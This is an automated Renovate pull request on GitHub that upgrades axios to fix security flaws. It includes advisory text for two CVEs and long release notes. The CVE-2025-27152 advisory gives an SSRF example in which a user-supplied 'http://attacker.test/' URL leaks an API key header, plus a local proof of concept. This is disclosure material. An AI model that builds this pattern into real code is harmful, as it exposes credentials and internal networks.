Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency axios to v1 [SECURITY] #19

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link

@renovate renovate bot commented Nov 12, 2023

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
axios (source) ^0.26.1 -> ^1.8.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v1.8.2

Compare Source

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

1.7.2 (2024-05-21)

Bug Fixes
Contributors to this release

1.7.1 (2024-05-20)

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.9

Compare Source

Reverts
Contributors to this release

v1.7.8

Compare Source

Bug Fixes
Contributors to this release

v1.7.7

Compare Source

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

v1.7.6

Compare Source

Bug Fixes
Contributors to this release

v1.7.5

Compare Source

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

v1.7.4

Compare Source

Bug Fixes
Contributors to this release

v1.7.3

Compare Source

Bug Fixes
Contributors to this release

v1.7.2

Compare Source

Bug Fixes
Contributors to this release

v1.7.1

Compare Source

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.0

Compare Source

Features
Bug Fixes
Contributors to this release

v1.6.8

Compare Source

Bug Fixes
  • AxiosHeaders: fix AxiosHeaders conversion to an object during config merging (#​6243) (2656612)
  • import: use named export for EventEmitter; (7320430)
  • vulnerability: update follow-redirects to 1.15.6 (#​6300) (8786e0f)
Contributors to this release

v1.6.7

Compare Source

Bug Fixes
  • capture async stack only for rejections with native error objects; (#​6203) (1a08f90)
Contributors to this release

v1.6.6

Compare Source

Bug Fixes
Contributors to this release

v1.6.5

Compare Source

Bug Fixes
Contributors to this release

v1.6.4

Compare Source

Bug Fixes
  • security: fixed formToJSON prototype pollution vulnerability; (#​6167) (3c0c11c)
  • security: fixed security vulnerability in follow-redirects (#​6163) (75af1cd)
Contributors to this release

v1.6.3

Compare Source

Bug Fixes
Contributors to this release

v1.6.2

Compare Source

Features
  • withXSRFToken: added withXSRFToken option as a workaround to achieve the old withCredentials behavior; (#​6046) (cff9967)
PRs
  • feat(withXSRFToken): added withXSRFToken option as a workaround to achieve the old `withCredentials` behavior; ( #​6046 )

📢 This PR added 'withXSRFToken' option as a replacement for old withCredentials behaviour. 
You should now use withXSRFToken along with withCredential to get the old behavior.
This functionality is considered as a fix.
Contributors to this release

v1.6.1

Compare Source

Bug Fixes
  • formdata: fixed content-type header normalization for non-standard browser environments; (#​6056) (dd465ab)
  • platform: fixed emulated browser detection in node.js environment; (#​6055) (3dc8369)
Contributors to this release
PRs
  • feat(withXSRFToken): added withXSRFToken option as a workaround to achieve the old `withCredentials` behavior; ( #​6046 )

📢 This PR added 'withXSRFToken' option as a replacement for old withCredentials behaviour. 
You should now use withXSRFToken along with withCredential to get the old behavior.
This functionality is considered as a fix.

v1.6.0

Compare Source

Bug Fixes
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
Contributors to this release

1.5.1 (2023-09-26)

Bug Fixes
  • adapters: improved adapters loading logic to have clear error messages; (#​5919) (e410779)
  • formdata: fixed automatic addition of the Content-Type header for FormData in non-browser environments; (#​5917) (bc9af51)
  • headers: allow content-encoding header to handle case-insensitive values (#​5890) (#​5892) (4c89f25)
  • types: removed duplicated code (9e62056)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

v1.5.1

Compare Source

Bug Fixes
  • adapters: improved adapters loading logic to have clear error messages; (#​5919) (e410779)
  • formdata: fixed automatic addition of the Content-Type header for FormData in non-browser environments; (#​5917) (bc9af51)
  • headers: allow content-encoding header to handle case-insensitive values (#​5890) (#​5892) (4c89f25)
  • types: removed duplicated code (9e62056)
Contributors to this release
PRs

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.27.0 [SECURITY] Nov 16, 2023
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 2cd5b43 to 932f73a Compare November 16, 2023 11:29
@renovate renovate bot changed the title Update dependency axios to ^0.27.0 [SECURITY] Update dependency axios to v1 [SECURITY] Nov 16, 2023
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 932f73a to a887a58 Compare November 16, 2023 14:04
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.27.0 [SECURITY] Dec 3, 2023
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from a887a58 to 341b978 Compare December 3, 2023 09:21
@renovate renovate bot changed the title Update dependency axios to ^0.27.0 [SECURITY] Update dependency axios to v1 [SECURITY] Dec 3, 2023
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 341b978 to 149a42c Compare December 3, 2023 13:50
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to v1 [SECURITY] - autoclosed Dec 19, 2023
@renovate renovate bot closed this Dec 19, 2023
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch December 19, 2023 11:05
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] - autoclosed Update dependency axios to v1 [SECURITY] Dec 19, 2023
@renovate renovate bot reopened this Dec 19, 2023
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch December 19, 2023 12:48
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 149a42c to 2749f38 Compare December 19, 2023 12:48
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.27.0 [SECURITY] Jan 4, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 0f264e7 to 8994673 Compare January 4, 2024 20:20
@renovate renovate bot changed the title Update dependency axios to ^0.27.0 [SECURITY] Update dependency axios to v1 [SECURITY] Jan 4, 2024
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.27.0 [SECURITY] Jan 9, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 38b371b to d26c3cb Compare January 9, 2024 13:52
@renovate renovate bot changed the title Update dependency axios to ^0.27.0 [SECURITY] Update dependency axios to v1 [SECURITY] Jan 9, 2024
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.27.0 [SECURITY] Jan 16, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from a4ead9c to 7af8eeb Compare January 16, 2024 15:09
@renovate renovate bot changed the title Update dependency axios to ^0.27.0 [SECURITY] Update dependency axios to v1 [SECURITY] Jan 16, 2024
@renovate renovate bot changed the title Update dependency axios to v1 [SECURITY] Update dependency axios to ^0.27.0 [SECURITY] Jan 28, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 92dbe16 to c728472 Compare January 28, 2024 17:26
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c7c35b3 to 7cbfa8e Compare December 18, 2024 01:00
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Dec 18, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 7cbfa8e to 159541c Compare December 22, 2024 16:06
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.29.0 [SECURITY] Dec 22, 2024
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Dec 22, 2024
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 159541c to bd254f4 Compare December 22, 2024 20:20
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from bd254f4 to b7a97d4 Compare January 14, 2025 19:32
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.29.0 [SECURITY] Jan 14, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b7a97d4 to 620d30e Compare January 15, 2025 00:47
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Jan 15, 2025
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.29.0 [SECURITY] Jan 23, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 620d30e to 5ac2843 Compare January 23, 2025 19:14
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Jan 23, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 5ac2843 to ede2dab Compare January 23, 2025 23:35
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.29.0 [SECURITY] Jan 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ede2dab to bf774fa Compare January 30, 2025 16:41
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Jan 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from bf774fa to 5302e4a Compare January 30, 2025 22:34
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.29.0 [SECURITY] Feb 9, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 5302e4a to 9750aaf Compare February 9, 2025 16:01
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Feb 9, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 9750aaf to 306d05a Compare February 9, 2025 18:47
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to ^0.29.0 [SECURITY] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 306d05a to 982a16f Compare March 3, 2025 14:41
@renovate renovate bot changed the title Update dependency axios to ^0.29.0 [SECURITY] Update dependency axios to ^0.28.0 [SECURITY] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 982a16f to 7e3adf6 Compare March 3, 2025 18:49
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 7e3adf6 to b7b5fba Compare March 8, 2025 12:41
@renovate renovate bot changed the title Update dependency axios to ^0.28.0 [SECURITY] Update dependency axios to v1 [SECURITY] Mar 8, 2025
Copy link

sonarqubecloud bot commented Mar 8, 2025

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants